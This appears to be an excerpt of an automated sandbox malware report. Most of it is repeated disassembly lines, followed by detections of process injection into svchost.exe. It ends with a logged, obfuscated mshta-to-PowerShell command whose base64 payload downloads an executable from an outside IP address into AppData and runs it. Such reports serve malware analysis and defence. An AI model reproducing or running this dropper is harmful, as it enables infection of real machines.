            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5C073 mov eax, dword ptr fs:[00000030h]7_2_03B5C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAD070 mov ecx, dword ptr fs:[00000030h]7_2_03BAD070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB106E mov eax, dword ptr fs:[00000030h]7_2_03BB106E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B32050 mov eax, dword ptr fs:[00000030h]7_2_03B32050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BD705E mov ebx, dword ptr fs:[00000030h]7_2_03BD705E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BD705E mov eax, dword ptr fs:[00000030h]7_2_03BD705E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B052 mov eax, dword ptr fs:[00000030h]7_2_03B5B052
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB6050 mov eax, dword ptr fs:[00000030h]7_2_03BB6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5D7B0 mov eax, dword ptr fs:[00000030h]7_2_03B5D7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F7BA mov eax, dword ptr fs:[00000030h]7_2_03B2F7BA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB97A9 mov eax, dword ptr fs:[00000030h]7_2_03BB97A9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BBF7AF mov eax, dword ptr fs:[00000030h]7_2_03BBF7AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BBF7AF mov eax, dword ptr fs:[00000030h]7_2_03BBF7AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BBF7AF mov eax, dword ptr fs:[00000030h]7_2_03BBF7AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BBF7AF mov eax, dword ptr fs:[00000030h]7_2_03BBF7AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BBF7AF mov eax, dword ptr fs:[00000030h]7_2_03BBF7AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B307AF mov eax, dword ptr fs:[00000030h]7_2_03B307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF78A mov eax, dword ptr fs:[00000030h]7_2_03BEF78A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B347FB mov eax, dword ptr fs:[00000030h]7_2_03B347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B347FB mov eax, dword ptr fs:[00000030h]7_2_03B347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3D7E0 mov ecx, dword ptr fs:[00000030h]7_2_03B3D7E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B527ED mov eax, dword ptr fs:[00000030h]7_2_03B527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B527ED mov eax, dword ptr fs:[00000030h]7_2_03B527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B527ED mov eax, dword ptr fs:[00000030h]7_2_03B527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3C7C0 mov eax, dword ptr fs:[00000030h]7_2_03B3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B357C0 mov eax, dword ptr fs:[00000030h]7_2_03B357C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B357C0 mov eax, dword ptr fs:[00000030h]7_2_03B357C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B357C0 mov eax, dword ptr fs:[00000030h]7_2_03B357C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C037B6 mov eax, dword ptr fs:[00000030h]7_2_03C037B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB07C3 mov eax, dword ptr fs:[00000030h]7_2_03BB07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29730 mov eax, dword ptr fs:[00000030h]7_2_03B29730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29730 mov eax, dword ptr fs:[00000030h]7_2_03B29730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B65734 mov eax, dword ptr fs:[00000030h]7_2_03B65734
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3973A mov eax, dword ptr fs:[00000030h]7_2_03B3973A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3973A mov eax, dword ptr fs:[00000030h]7_2_03B3973A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C03749 mov eax, dword ptr fs:[00000030h]7_2_03C03749
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6273C mov eax, dword ptr fs:[00000030h]7_2_03B6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6273C mov ecx, dword ptr fs:[00000030h]7_2_03B6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6273C mov eax, dword ptr fs:[00000030h]7_2_03B6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAC730 mov eax, dword ptr fs:[00000030h]7_2_03BAC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF72E mov eax, dword ptr fs:[00000030h]7_2_03BEF72E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B33720 mov eax, dword ptr fs:[00000030h]7_2_03B33720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4F720 mov eax, dword ptr fs:[00000030h]7_2_03B4F720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4F720 mov eax, dword ptr fs:[00000030h]7_2_03B4F720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4F720 mov eax, dword ptr fs:[00000030h]7_2_03B4F720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF972B mov eax, dword ptr fs:[00000030h]7_2_03BF972B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6C720 mov eax, dword ptr fs:[00000030h]7_2_03B6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6C720 mov eax, dword ptr fs:[00000030h]7_2_03B6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B30710 mov eax, dword ptr fs:[00000030h]7_2_03B30710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B60710 mov eax, dword ptr fs:[00000030h]7_2_03B60710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6F71F mov eax, dword ptr fs:[00000030h]7_2_03B6F71F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6F71F mov eax, dword ptr fs:[00000030h]7_2_03B6F71F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B37703 mov eax, dword ptr fs:[00000030h]7_2_03B37703
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B35702 mov eax, dword ptr fs:[00000030h]7_2_03B35702
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B35702 mov eax, dword ptr fs:[00000030h]7_2_03B35702
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6C700 mov eax, dword ptr fs:[00000030h]7_2_03B6C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B38770 mov eax, dword ptr fs:[00000030h]7_2_03B38770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40770 mov eax, dword ptr fs:[00000030h]7_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B765 mov eax, dword ptr fs:[00000030h]7_2_03B2B765
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B765 mov eax, dword ptr fs:[00000030h]7_2_03B2B765
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B765 mov eax, dword ptr fs:[00000030h]7_2_03B2B765
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B765 mov eax, dword ptr fs:[00000030h]7_2_03B2B765
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B30750 mov eax, dword ptr fs:[00000030h]7_2_03B30750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72750 mov eax, dword ptr fs:[00000030h]7_2_03B72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72750 mov eax, dword ptr fs:[00000030h]7_2_03B72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB4755 mov eax, dword ptr fs:[00000030h]7_2_03BB4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B43740 mov eax, dword ptr fs:[00000030h]7_2_03B43740
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B43740 mov eax, dword ptr fs:[00000030h]7_2_03B43740
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B43740 mov eax, dword ptr fs:[00000030h]7_2_03B43740
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6674D mov esi, dword ptr fs:[00000030h]7_2_03B6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6674D mov eax, dword ptr fs:[00000030h]7_2_03B6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6674D mov eax, dword ptr fs:[00000030h]7_2_03B6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0B73C mov eax, dword ptr fs:[00000030h]7_2_03C0B73C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0B73C mov eax, dword ptr fs:[00000030h]7_2_03C0B73C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0B73C mov eax, dword ptr fs:[00000030h]7_2_03C0B73C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0B73C mov eax, dword ptr fs:[00000030h]7_2_03C0B73C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B276B2 mov eax, dword ptr fs:[00000030h]7_2_03B276B2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B276B2 mov eax, dword ptr fs:[00000030h]7_2_03B276B2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B276B2 mov eax, dword ptr fs:[00000030h]7_2_03B276B2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B666B0 mov eax, dword ptr fs:[00000030h]7_2_03B666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6C6A6 mov eax, dword ptr fs:[00000030h]7_2_03B6C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2D6AA mov eax, dword ptr fs:[00000030h]7_2_03B2D6AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2D6AA mov eax, dword ptr fs:[00000030h]7_2_03B2D6AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B34690 mov eax, dword ptr fs:[00000030h]7_2_03B34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B34690 mov eax, dword ptr fs:[00000030h]7_2_03B34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB368C mov eax, dword ptr fs:[00000030h]7_2_03BB368C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB368C mov eax, dword ptr fs:[00000030h]7_2_03BB368C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB368C mov eax, dword ptr fs:[00000030h]7_2_03BB368C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB368C mov eax, dword ptr fs:[00000030h]7_2_03BB368C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]7_2_03BAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]7_2_03BAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]7_2_03BAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]7_2_03BAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB06F1 mov eax, dword ptr fs:[00000030h]7_2_03BB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB06F1 mov eax, dword ptr fs:[00000030h]7_2_03BB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BED6F0 mov eax, dword ptr fs:[00000030h]7_2_03BED6F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC36EE mov eax, dword ptr fs:[00000030h]7_2_03BC36EE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC36EE mov eax, dword ptr fs:[00000030h]7_2_03BC36EE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC36EE mov eax, dword ptr fs:[00000030h]7_2_03BC36EE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC36EE mov eax, dword ptr fs:[00000030h]7_2_03BC36EE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC36EE mov eax, dword ptr fs:[00000030h]7_2_03BC36EE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC36EE mov eax, dword ptr fs:[00000030h]7_2_03BC36EE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5D6E0 mov eax, dword ptr fs:[00000030h]7_2_03B5D6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5D6E0 mov eax, dword ptr fs:[00000030h]7_2_03B5D6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B636EF mov eax, dword ptr fs:[00000030h]7_2_03B636EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6A6C7 mov ebx, dword ptr fs:[00000030h]7_2_03B6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6A6C7 mov eax, dword ptr fs:[00000030h]7_2_03B6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3B6C0 mov eax, dword ptr fs:[00000030h]7_2_03B3B6C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3B6C0 mov eax, dword ptr fs:[00000030h]7_2_03B3B6C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3B6C0 mov eax, dword ptr fs:[00000030h]7_2_03B3B6C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3B6C0 mov eax, dword ptr fs:[00000030h]7_2_03B3B6C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3B6C0 mov eax, dword ptr fs:[00000030h]7_2_03B3B6C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3B6C0 mov eax, dword ptr fs:[00000030h]7_2_03B3B6C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF16CC mov eax, dword ptr fs:[00000030h]7_2_03BF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF16CC mov eax, dword ptr fs:[00000030h]7_2_03BF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF16CC mov eax, dword ptr fs:[00000030h]7_2_03BF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF16CC mov eax, dword ptr fs:[00000030h]7_2_03BF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF6C7 mov eax, dword ptr fs:[00000030h]7_2_03BEF6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B616CF mov eax, dword ptr fs:[00000030h]7_2_03B616CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E627 mov eax, dword ptr fs:[00000030h]7_2_03B4E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F626 mov eax, dword ptr fs:[00000030h]7_2_03B2F626
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B66620 mov eax, dword ptr fs:[00000030h]7_2_03B66620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B68620 mov eax, dword ptr fs:[00000030h]7_2_03B68620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3262C mov eax, dword ptr fs:[00000030h]7_2_03B3262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B33616 mov eax, dword ptr fs:[00000030h]7_2_03B33616
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B33616 mov eax, dword ptr fs:[00000030h]7_2_03B33616
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72619 mov eax, dword ptr fs:[00000030h]7_2_03B72619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B61607 mov eax, dword ptr fs:[00000030h]7_2_03B61607
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE609 mov eax, dword ptr fs:[00000030h]7_2_03BAE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6F603 mov eax, dword ptr fs:[00000030h]7_2_03B6F603
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4260B mov eax, dword ptr fs:[00000030h]7_2_03B4260B
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B080A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,6_2_00B080A9
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ADA124 SetUnhandledExceptionFilter,6_2_00ADA124
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ADA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_00ADA155

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Maps a DLL or memory area into another process
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\AppData\Roaming\winnit.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 3089008Jump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B087B1 LogonUserW,6_2_00B087B1
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,6_2_00AB3B3A
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,6_2_00AB48D7
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B14C27 mouse_event,6_2_00B14C27
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
